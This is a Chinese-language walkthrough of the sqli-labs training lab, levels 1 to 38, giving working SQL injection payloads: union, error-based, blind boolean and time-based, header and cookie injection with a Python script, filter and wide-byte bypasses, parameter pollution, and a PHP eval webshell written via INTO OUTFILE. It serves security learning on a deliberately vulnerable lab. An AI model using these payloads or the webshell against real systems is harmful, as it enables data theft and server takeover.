sqli-labs所有题解

环境搭建

我用的是docker搭建的,非常方便一句话完成:docker run -dt --rm --name sqli-lab -p 80 acgpiano/sqli-labs:latest,之后只需要查看本地端口映射就可以了:docker container ls

开始之前需要了解的基础知识

  • php一些基础函数,比如字符串拼接这种基础还是得知道的吧
  • mysql的基础操作,你要是连select * from tables这种都不了解,别看了
  • 能够直接出现在url中的符号:所有大小写的字母、10个数字、;/?:@&=+$,

Less-1

一开始可以根据提示信息输入?id=1,就能显示出结果。然后随便加上一个单引号,就变成了?id=1%27%27在URL编码中是单引号)

1574340286079

首先我们把错误信息给弄出来,是''1'' LIMIT 0,1',把最外层的两个单引号去掉,这个是Mysql给你加的。然后在把你自己的1'去掉,就得到了'' LIMIT 0,1,说明原先是用单引号引起来的,可以猜测后台的语句大概长这样:SELECT * FROM XXX WHERE id ='$id' LIMIT 0,1 ,那这样就很好闭合了,只需要输入id=1' or '1'='1即可。

之后可以通过order by number这样的语句来确定它究竟有多少列,在输入3的时候还是正常的,但是到了4就报错了,说明有3列。

?id=1' order by 3 %23

?id=1' order by 4 %23

1574341462329

最后就可以通过union select(联合注入)来获取信息啦

首先先通过简单让id不存在让本应该显示在login namepassword中的值显示成对应的域,构造如下:?id=-1' union select 1,2,3 %23,可以看到这里取了id-1,这样就只会显示后面的内容了。

1574341914788

可以看到login name输出是2,而password输出是3,所以我们只需要在对应的位置修改一下我们想要爆出来的内容就可以了。

补充一下常用的爆破内容用的:

  • 当前数据库名字:database()
  • 所有的数据库名字:select group_concat(schema_name) from information_schema.schemata
  • 数据库版本:version()或者@@version
  • 表名:select group_concat(table_name) from information_schema.tables where table_schema=数据库名字
  • 列名:select group_concat(column_name) from information_schema.columns where table_name=表名

最最最后的payload长这样:?id=-1' union select 1,database(),@@version %23,结果是:

1574342009824

成功显示了我们需要的内容。后面为了方便,我仅仅测试数据库名字,即database()

Less-2

直接进入这个页面,还是提示需要输入"Please input the ID as parameter with numeric value",所以还是老老实实输入id=1,结果和之前第一个题是一样的。那还是老套路,加上一个单引号看看。嗯,果然报错了,老方法先把重要的报错信息摘出来:'' LIMIT 0,1',把单引号去掉,并把你输入的单引号去掉,嗯,就啥也不剩下了。所以大胆猜测下这里应该是数字类型而不是字符串类型了。猜测后台大概就是SELECT * FROM xxx WHERE id=$id LIMIT 0,1这样的,所以可以用id=1 order by 4 %23来猜出它的列数,之后的套路和第一题就完全一样了。

Less-3

老套路,加上个单引号看看。

1574342934120

这里乍一看是一个双引号里面加了一个1,我一开始想当然就以为是双引号来闭合,但是其实不是的!当你输入id=1'的时候,实际你需要把最外层的单引号去掉,这样就成了你输出的是'1'')了,所以可以推测原来的SQL语句应该就是SELECT * FROM users WHERE id=('$id') LIMIT 0,1

把错误信息复制出来''1'') LIMIT 0,1',去掉最外面的单引号,去掉你输入的,就变成了'') LIMIT 0,1,说明用的是id=('$id'),所以可以直接用?id=-1') union select 1,database(),3 %23

Less-4

加了一个单引号显示是没问题的。这里应该是MySql的一个问题,因为我在mysql中实际执行了一下一对双引号中加入一个单引号,是没有问题的(这个可以看后面解析)。既然单引号没问题,那么就试试双引号呗,果然报错了。

1574345753222

有了这个其实Less-3更好理解了。很显然就是上面把单引号变成了双引号而已。

那直接照抄上面的payload就可以了?id=-1") union select 1,database(),3 %23

Less-5

第五题首先中规中矩输入一下,发现和前四题不同,不给你信息了,只告诉你你登陆了,如果你瞎输入就不给你一点信息。所以这里开始需要换个套路了。

首先在开始之前需要认识一些mysql支持的函数。

  • concat(str1,str2...str),把这n个字符串合在一起然后返回。需要注意的是如果其中有一个是null,那么结果就是null。举例SELECT CONCAT('my', 's', 'ql');会返回mysql
  • updateXML(xml_target, xpath_expr, new_xml),这个函数我看他说的是把xml_target字段用new_xml字段替换,中间那个是xpath的正则表达式。其实这个函数的真正作用是什么不重要,重要的是我们希望能够得到它回显的错误信息。
  • extractvalue()一样的函数,拿来显示错误的。

更多报错函数可以参考这里:https://blog.csdn.net/whatday/article/details/63683187

OK,起手还是加上一个单引号,得到的结果是:

1574498314289

可以发现是用单引号进行闭合的。于是就有两种方法来进行操作,一种是写脚本,另外一种是使用那个updateXML函数进行错误的回显。

一般的套路是这样的:?id=1 and updatexml(null,concat(0x3a,(要查询的语句)),null)--,比如我现在要查询数据库的名字,那么就应该是?id=1' and updatexml(null,concat(0x3a,(select database())),null) %23就可以显示出来了。

这里可能有人会有疑惑,为什么是0x3a呢,是不是有没有什么特殊的作用?没有的,看个人爱好。

Less-6

一样的套路,只不过变成了双引号。

Payload:?id=1" and updatexml(null,concat(0x3a,(select database())),null) %23

Less-7

在开始这部分之前需要先了解一个知识,就是mysql是可以将查询的结果导出的,但是默认是只能导出到指定目录的,可以用SHOW VARIABLES LIKE "secure_file_priv";查看。我这边是/var/lib/mysql-files

所以这里构造的sql语句是形如select * from COMPANY into outfile "/var/lib/mysql-files/test.txt";

如果需要修改目录,可以使用mysqld --secure_file_prive=/tmp(但是我把它禁掉,似乎还是能输出啊?)

打开页面可以看到一个提示信息:

1574669320119

提示你使用outfile去解决。而且当你加个引号之后,会发现只会告诉你你的sql语句存在错误,而不会把在哪里错了告诉你。这题我是真的不会做了,然后就去看了一下源码(只选择了重要的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}

这样看来只需要用?id=1'))%23就可以闭合了,然后呢??仔细看一下它居然把报错信息给注释掉了,所以就别想用报错信息了,所以只能用它说的方法。

所以就可以使用一句话的木马,通过mysql的这个功能,把这个文件写入到服务器的一个地方并且保存为php文件,这样就可以执行恶意代码了。那么问题来了,怎么知道这台服务器的路径呢?可以用之前的那些题来作为跳板,比如最简单的第二题,就可以用/Less-2/?id=0 union select 1,@@datadir,@@basedir MYSQL %23获得路径。我这边的路径是这样的:

1574671486209

所以我就可以这么构造?id=-1')) union select 1,2,'<?php eval($_POST["eval"]) ?>' into outfile "/var/lib/mysql/eval.php" %23就可以了,之后用菜刀之类的软件或者自己写个程序就可以执行任意代码了。

Less-8

还是值显示“You are in….”,还是老套路,先一个引号打天下。显示居然没错误,那就是说明后台居然只用了一个单引号呗?看了源码之后和第七题是一样的,只是第七题会echo一句话,而第八题就是把这句话给注释了而已….所以你直接用第七题的解完全是可行的(注意这两题闭合所用的符号是不同的)。所以其实这里用这个方法是对的,但是你是想不到的,因为它不给你提示呀。

这里先补充几个知识:

  • length(str)函数用来返回字符串的长度
  • substr(str,start,length)从给定字符串的指定位置开始截取指定的字符。
  • ascii()返回一个字符的ascii码。字符注意用引号引起来,如果你输入了字符串,只会返回第一个字符的ascii码。

这样你就可以慢慢使用二分法慢慢猜。构造的Payload类似这样子?id=1' and (ascii(substr( database(),1,1)) ) > 100 %23

Less-9

这道题也是一样的套路,先加个单引号发现还是显示,说明还是单引号闭合的。那继续用上一次的操作试一试。测试结果发现不论是大于还是小于都无济于事,然后再结合题目源码看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}

嗯,这次不管是对还是错它显示的都是一样一样的了,所以只能靠时间的不同来进行判断了。

补充的知识点:

  • if(expr1,expr2,expr3) 表示在第一个条件成立的时候,执行expr2,否则执行expr3。
  • sleep(秒数) 表示数据库暂停执行。

所以就可以有下面的这些来推测的函数?id=1' and if ((ascii(substr(database(),1,1))>100),1,sleep(5)) %23,当然这个也是推荐写脚本来跑的。

Less-10

单引号改成双引号就行了。

Less-11

终于开始从GET变成POST了。第一题我猜测么直接就是select username,passwd from xxx where username=$username and passwd = $passwd,所以图省事的话,直接把username那里直接注释了,这样不管密码是什么都无所谓了。

所以这里直接在用户名那栏里输入admin'#就行了,这样密码不管是什么都无所谓了。注意这里不用%23是因为根本不用编码。

当然如果你还想爆出其他的东西的话,你可以用报错注入来显示。在用户名输入admin' and updatexml(null,concat(0x3a,(select database())),null)#即可。

Less-12

查看一下源码,结果如下(只摘录了重要的):

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

可以看到就是给用户名和密码加了一个双引号括起来,然后再用括号括起来就行了。

所以其实只需要在用户名那栏输入admin")#,然后就可以为所欲为了。

当然如果你报错的话,也是可以的。在用户名那一栏里输入admin") and updatexml(null,concat(0x3a,(select database())),null)#就可以了。

Less-13

看一下源码,发现这是单纯比之前少了你成功登陆与否的信息。

那还是可以在用户名那里加入一个单引号,然后从数据库错误的回显信息中看出来:

image-20191126192230821

这个就是加了个单引号和括号而已。所以只需要admin')#就行了。和之前一样的注入方式,只需要admin') and updatexml(null,concat(0x3a,(select database())),null)#即可。做到这里我发现,其实11和12它是应该希望你在

image-20191126193829050

这里给它显示,我上面11和12是直接使用了报错注入,所以感觉其实不是很符合作者的想法来做的。但是并无碍。

Less-14

这题我直接一个admin"#就直接…登录了….

看源码的话,如果登录失败的话,还是会显示的

1
print_r(mysql_error());

所以我直接在上面输入了admin" and updatexml(null,concat(0x3a,(select database())),null)#

Less-15

按照之前的套路,从现在开始应该是不会再显示错误信息了,所以应该使用bool注入和时间盲注了。

所以基于bool注入的应该使用admin' and (ascii(substr( database(),1,1)) ) < 100 #

Less-16

这里我使用基于时间的注入,admin") and if ((ascii(substr(database(),1,1))<100),1,sleep(5))#

Less-17

从17题开始似乎变成是你在重置密码而不是登录了。简单试了一下故意输入错误的用户名,会提示错误。所以可以试着用用看报错注入。但是还是试不出来,就只能去网上看看源代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function check_input($value)
{
if (!empty($value)) {
// truncation (see comments)
$value = substr($value, 0, 15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
} else {
$value = intval($value);
}
return $value;
}

$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];

可以看到这里用了一个函数叫check_input,然后对用户名使用了一下这个函数,所以就得先分析一下这个函数究竟做了什么。

  1. 把传入的参数截取一下,截取前15个字符。
  2. 如果设置了自动转换功能(在单引号、双引号和反斜线之前加上斜线),那么就使用函数把它们的反斜杠去掉。所以第二个if你可以理解为它什么都不做就行了。
  3. 首先判断它是不是纯数字,如果是纯数字(连小数点都没有的),就直接把他变成纯数字返回,否则就首先把value转义掉,然后给它加上单引号并返回。

其实我之前尝试的几次在第一个函数就挂了,因为被截断了。但是!!!仔细看,它辛辛苦苦写了一个叫check_input的函数,结果只用在了username上面…..所以还有一个叫passwd的框框呢。

所以只需要在passwd中进行基于bool的报错注入即可。

  • 基于bool的:admin' and updatexml(null,concat(0x3a,(select database())),null)#

Less-18

这道题进去了发现会显示你的ip地址,然后正常登陆的话,你会发现它把User-Agent给你显示出来了,这就提示你使用header注入了。重要源码如下(顺序稍微换了一下但是不影响):

1
2
3
4
5
6
7
8
9
function check_input($value){
省略
}
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

可以看到用17题的检查输入同时用到了unamepasswd上面,但是这里新增了uagentIP,可以使用header头注入。

因为暂时手头没有Burpsuite,所以写了个简单的Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
# -- coding:utf-8 --
import requests


class URL(object):
url = "http://example.com/Less-18/"


class NetworkException(Exception):
# do something when network sucks!
pass


class Cli(object):
headers = {
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0\'and updatexml(null,concat(0x3a,(select database())),null) and \'1\'=\'1',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6',
}

def __init__(self):
super(Cli, self).__init__()
self.s = requests.Session()
self.s.headers = self.headers

def get(self, url, *args, **kwargs):
r = self.s.get(url, *args, **kwargs)
if r.status_code != requests.codes.ok:
raise NetworkException
return r

def post(self, url, *args, **kwargs):
r = self.s.post(url, *args, **kwargs)
if r.status_code != requests.codes.ok:
raise NetworkException
return r


def main():
c = Cli()
data = {
'uname': 'admin',
'passwd': 'admin',
}
print(c.post(URL.url,data=data).text)


if __name__ == '__main__':
main()

需要注意的一点是在python中使用的转义符,注入在第22行。最后在结果中就可以看到了。

Less-19

正常登陆会发现它显示了referer。。。so套路和之前的是一样的。'Referer':'123\' and updatexml(null,concat(0x3a,(select database())),null) and \'1\'=\'1 '把这个加进去就行了。

Less-20

这里新增了一个cookie。然后细心观察一下就能看到:

1574826369815

uname = admin,说明是可以在这里注入的。源代码太长这里就不贴了,主要逻辑在这里说一下:

  • 如果你没有cookie,那么就先去数据库确认一下(会对用户名和密码进行check函数检查,所以在这里就不用想注入了),然后把其中的用户名作为cookie返回,并且设置这个cookie在一小时后过期。
  • 如果你有cookie,并且并没有点击submit(即你带着cookie直接来访问),那么它就会提取出你的cookie并且显示给你看,然后它还会用你的cookie作为用户名去查找一下数据库。
1
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

所以思路就很明显了,只要你是带着cookie字段去访问,并且同时设置了uname的值,那么这个网站就会把这个uname当成是username,然后去数据库里查询就可以注入了。

所以加入'Cookie':'uname=\'and updatexml(null,concat(0x3a,(select database())),null) and \'1\'=\'1'就可以了。

小总结

到这里第一部分就完成了。

让我们稍微总结一下在第一部分学到了什么。

从注入点来看,这里主要有三个注入点:

  • GET方法
  • POST方法
  • header头部注入(具体包括UAreferercookie)

从注入的方法来看,有以下的注入:

  • 单引号闭合
  • 双引号闭合
  • 括号闭合
  • 以上三种的组合
  • 基于bool的报错注入
  • 基于时间的报错注入

而且虽然注入的方法比较多,但是从结果上来看,基于时间注入的是最优的,因为它不需要显示任何信息就可以测试。

目前遇到过以下几种形式的sql语句:

  • id=$id

  • id=’$id’

  • id=”$id”

  • id=(‘$id’)

  • id=(“$id”)

我们最简单暴力的测试就是加个单引号,然后加个双引号,看结果。比如输入的是?id=1',那么就上面几个来说,第三个和第五个是可以运行的。同理如果你输入的是?id=1",那么第二个和第四个是不会报错的。也就是如果你是单引号报错而双引号不报错,那可以认为用的是双引号括起来的,反之亦然。至于理由么,猜测是跟mysql隐性转化有关的,具体可以看这里

Less-21

这次比之前的改进就是cookie使用“hash算法”进行了改进,这样就算你输入的cookie有问题,也会被先进行一次“hash”,从而得不到你需要的注入字符串。

看了源码,发现不是hash算法,而是使用的base64解码。所以之前的方法不可行了。再仔细一看发现仅仅是对它进行了一次解码,然后直接就用解码后的东西去查询的了。$cookee = base64_decode($cookee);,所以我们只需要构造好我们需要的payload,然后拿去进行一次base64编码,然后发送到服务端,服务端会进行一次解码,然后相当于又回去了。

首先构造好payload:admin') and 1=(updatexml(1,concat(0x3a,(select database())),1))#,然后对它们执行一次base64编码,变成了:YWRtaW4nKSBhbmQgMT0odXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBkYXRhYmFzZSgpKSksMSkpIw==,最后就直接用脚本就行了。

'Cookie':'uname=YWRtaW4nKSBhbmQgMT0odXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBkYXRhYmFzZSgpKSksMSkpIw=='

Less-22

这里查看源码知道,就是对base64解码出来的东西再加了一个双引号。那套路和之前还是一样的,构造好payload,admin" and 1=(updatexml(1,concat(0x3a,(select database())),1))#,对它进行一次base64编码,然后写进去就行了。

Less-23

哎??熟悉的味道又回来了?又变成使用GET方法了。那这次新增了什么呢?看一哈源码:

1
2
3
4
5
6
7
8
9
10
11
if (isset($_GET['id'])) {
$id = $_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
}

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

显然从这里开始我们要使用绕过来处理了。仔细看看他是怎么过滤的。这里就需要对php的preg_replace有比较详细的了解了。

preg_replace($pattern,$replacement,$subject):第一个参数是正则表达式,第二个是用于替换的字符串或字符串数组,第三个参数是要搜索替换的目标字符串或字符串数组。那么上面的那段代码就很简单了,找到所有的#--,并且用空字符串替换掉它们(即删除所有的#--),也就是从注释符下手了。但是问题是可以完全不用注释符来完成注入。payload:?id=-1' union select 1,database(),'3

Less-24

这里开始看到了提供注册的功能,更加贴近实际了。那首先肯定先去注册页面看看,因为注册页面肯定会涉及到去数据库里确认一下有没有这个用户,如果没有还需要把这个新创建的用户插入数据库里。

那么首先咱们先在注册页面试试看能不能注入呗。emmmm似乎不可以。看一下源码:

1
2
3
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

主要是mysql_escape_string这个函数,这个函数在PHP7.0已经被正式移除了。它的作用就是对那些单引号双引号这种逃逸字符前面加个反斜杠。so这里先放一放吧,之后可以对它进行宽字节注入。

注册完了之后会跳转到一个可以修改密码的地方,那在这里也试试看吧。

1
2
3
4
5
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这里的方法是把之前加入的反斜杠去掉,(也就是把admin\'#变回成admin'#)之后在进行操作。那这样不是天然就成功修改了root的密码么?我这边尝试了在当前的密码这里故意输入错误的,但是还能修改。然后修改完之后就可以直接用admin这个账号登陆了。

Less-25

这里直接就告诉你把AndOR过滤掉了。详细的代码见下:

1
2
3
4
5
6
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}

但是可以完全不用andor的呀….直接payload?id=-1") union select 1,database(),3 %23就行了。

Less-25a

emmmm 跟25其实是一样的,只是不用单引号了(从string到数字),所以payload是?id=-1 union select 1,database(),3 %23。当然从这个题目的考察来说,你也可以用双写来绕过。

?id=1 anandd (ascii(substr((select database()),1,1))=115)%23

Less-26

这里提示了所有的空格和注释都被过滤了,代码看一下:

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

其实顺带把andor都去掉了。但是还是可以使用报错注入来把结果弄出来

?id=-1'||updatexml(1,concat(0x3a,(database())),1)||'1'='1

Less-26a

这次网页上的提示和之前的一样。查看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

//print_r(mysql_error());

可以看到的区别是去除了一次空格之后,再去除一次空格;同时不让错误的信息显示。所以报错注入不行了,只能盲注了。

最后的payload:?id=0'||(select(substr((select(database())),1,1)))='s

Less-27

显示所有的select和union被过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

emmmm直接用双写就能绕过了呀….或者我不用select和union就行了,比如?id=-1'||updatexml(1,concat(0x3a,(database())),1)||'1'='1就行了。

Less-27a

一样的套路,但是这次报错行不通了,所以只能盲注了。

payload:?id=1"%26%26(seleCt(substr((seleCt(database())),1,1)))='s'%26%26"s"="s这里用%26&来代替了and

Less-28

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id = preg_replace('/[\/\*]/', "", $id); //strip out /*
$id = preg_replace('/[--]/', "", $id); //Strip out --.
$id = preg_replace('/[#]/', "", $id); //Strip out #.
$id = preg_replace('/[ +]/', "", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id = preg_replace('/[ +]/', "", $id); //Strip out spaces.
$id = preg_replace('/union\s+select/i', "", $id); //Strip out UNION & SELECT.
return $id;
}

同时看到源代码里面把报错信息给注释掉了,所以这里只能

payload:?id=0')union(select%0d1,database(),'3。注:%0d在url编码中代表回车,可以用来代替空格使用。

这题我后来看它标题说是基于报错,但是它代码里面却把报错信息给注释掉了,可能是小错误?

Less-28a

加了一个单引号报错,但是双引号没问题,所以可以猜测是id='$id'。然后尝试用28的直接去试,居然直接试出来了….所以更加肯定28应该是希望你用报错注入,而这题才是应该用的union select绕过。

Less-29

提示信息是这个网站被最好的防火墙给保护着,说明从这里开始要绕过WAF了?

先来个单引号,提示信息是:

1574907714642

再来个双引号,没报错,基本可以确定后台是id='$id'了。那就先用最基本的注入试试看。payload:id=-1' union select 1,database(),3 %23emmmm直接注入就成功了…这不是跟第一题一样了?你的WAF呢?

然后跑去看了源码,发现还有一个叫login.php的页面,应该这个才是需要注入的页面吧,那个index.php应该是弄错了。看了一下主要是一个白名单函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);

function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array = explode("&", $q_s);
foreach ($qs_array as $key => $value) {
$val = substr($value, 0, 2);
if ($val == "id") {
$id_value = substr($value, 3, 30);
return $id_value;
echo "<br>";
break;
}
}
}

function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if ($match) {
//echo "you are good";
//return $match;
} else {
header('Location: hacked.php');
//echo "you are bad";
}
}

首先是$_SERVER['QUERY_STRING']这个变量,它会获取你的查询字符串,简单说就是?后面的内容。获取到之后呢就会用&作为分隔符进行分割。然后对每一个key-value对进行处理,如果val是id开头的,那么就返回(注意这里是break)。

之后会对第一个id的值进行处理,主要是这个正则表达式,它会匹配:一串纯数字,也就是说如果你的输入不是纯数字,那么就会失败。

但是这里忽略了一点,它只处理第一个id,这就明显留下了问题。所以我可以先给它一个没有问题的,然后进行注入:?id=1&id=-1' union select 1,database(),3 %23

Less-30

把上面的单引号改成双引号。Payload:?id=1&id=-1" union select 1,database(),3 %23

Less-31

也是在闭合上做文章。?id=1&id=-1") union select 1,database(),3 %23

Less-32

多了提示说你输入的参数的十六进制是什么。但是管它是什么,先来一发带单引号的?id=1',从结果来看它给你在单引号前面加了反斜杠。所以先来看看源码是怎么做的:

1
2
3
4
5
6
7
8
function check_addslashes($string)
{
$string = preg_replace('/' . preg_quote('\\') . '/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
$id=check_addslashes($_GET['id']);

可以看到就是用了三个正则表达式来处理:第一个给每个反斜杠新增一个反斜杠(即原来一个反斜杠,转化后是两个;原来两个反斜杠处理完之后是四个)。第二个把\'替换成\',第三个是把\"替换成\"。ummmmm所以第二个和第三个究竟是在干什么??

也就是你的id中如果有单引号双引号,那么就会在这些引号前面加上反斜杠,让你无法注入。也就是我们现在必须要想办法把这个反斜杠给去除。

这里用到一个新的注入方法:宽字节注入。首先要求使用的是宽字符集,支持中文的肯定都是宽字符集的。也就是用一个字符来和这个反斜杠合二为一生成一个新的东西,这样就绕过了。

首先看看'\这两个字符的编码,分别是'=%27\=%5c,那么我们只需要在反斜杠之前加上一个东西,让它和反斜杠成为一个字符(比如)这样就可以了。所以构造的payload=?id=%aa'union select 1,database(),3 %23,至于%aa%5c成为了什么,并不是我们所关注的,大概率是一个不认识的繁体字吧。

至于那个十六进制的,我现在没看懂怎么利用上。

Less-33

这道题和32其实是一样的,只不过使用PHP内置的函数addslashes(),这个函数的作用是在单引号()、双引号(*”)、反斜线(\)与 NUL(*NULL** 字符)前面加上反斜杠,其实就是32题那个正则表达式的官方实现。所以payload:?id=%aa'union select 1,database(),3 %23

Less-34

这次是在post处使用宽字符绕过了。这里如果你直接在文本框里输入显然是不行的,因为比如你输入%aa,它会认为你的密码是%aa,所以需要用脚本或者Burpsuite来做。因为之前一直用的Python脚本,所以这里用一下Burpsuite,抓包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Less-34/ HTTP/1.1
Host: 39.96.86.104:32769
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://39.96.86.104:32769
Connection: close
Referer: http://39.96.86.104:32769/Less-34/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

所以只需要修改最后一行,改成uname=admin%aa'union select 1,database() %23&passwd=admin&submit=Submit

Less-35

还是一样的宽字节注入。但是我….直接用这个payload就行了啊?id=-1 union select 1,database(),3 %23,因为这个是数字型的,所以压根不需要引号,所以根本就不需要宽字节啊。

Less-36

从普通来看还是给你引号前面加了反斜杠,还是用之前的套路试试看。这次似乎有点不同。看一下源码先:

1
2
3
4
5
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}

这里用到了php标准的过滤函数,这个函数之前用过,但是当时我们是拿它没办法的,现在就可以了。

Payload:id=-1%aa' union select 1,database(),3 %23

Less-37

先用普通的账户登录看看,没有问题。然后加上引号试试看。emmmm还是在你的引号前面加了反斜杠,那是不是跟34一样的呢?用burp试试看。用burp一试,果然一样的….所以这道题的意义在哪里。

Payload:uname=admin%aa'union select 1,database() %23&passwd=admin&submit=Submit

看一下源码:

1
2
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

小总结

到了这里,sqli-labs的第二部分算是完成了。这一部分大部分是在教你使用不同的方式来绕过,从一开始的base64编码解码,到之后自己写的正则表达式来去除指定的符号,再到最后用PHP官方的函数来处理,学习完这部分应该能够学到不少的绕过姿势(双写、宽字节)

Less-38

第三部分的开篇第一题。这一部分的主题是stacked injections,翻译一下就是堆叠注入。回忆一下之前有用到union select联合注入,这个联合注入还需要你确定原本的select语句有多少列,然后再来注入;但是堆叠注入则不是,它就是构造了另外一个sql语句。但是它还是有它的缺点,因为一般来说前端只会显示一条语句的结果,你执行两条或多或少会存在一些问题,所以还是联合注入来获取数据比较好。

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)) {
if ($result = mysqli_store_result($con1)) {
if ($row = mysqli_fetch_row($result)) {
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
}
}

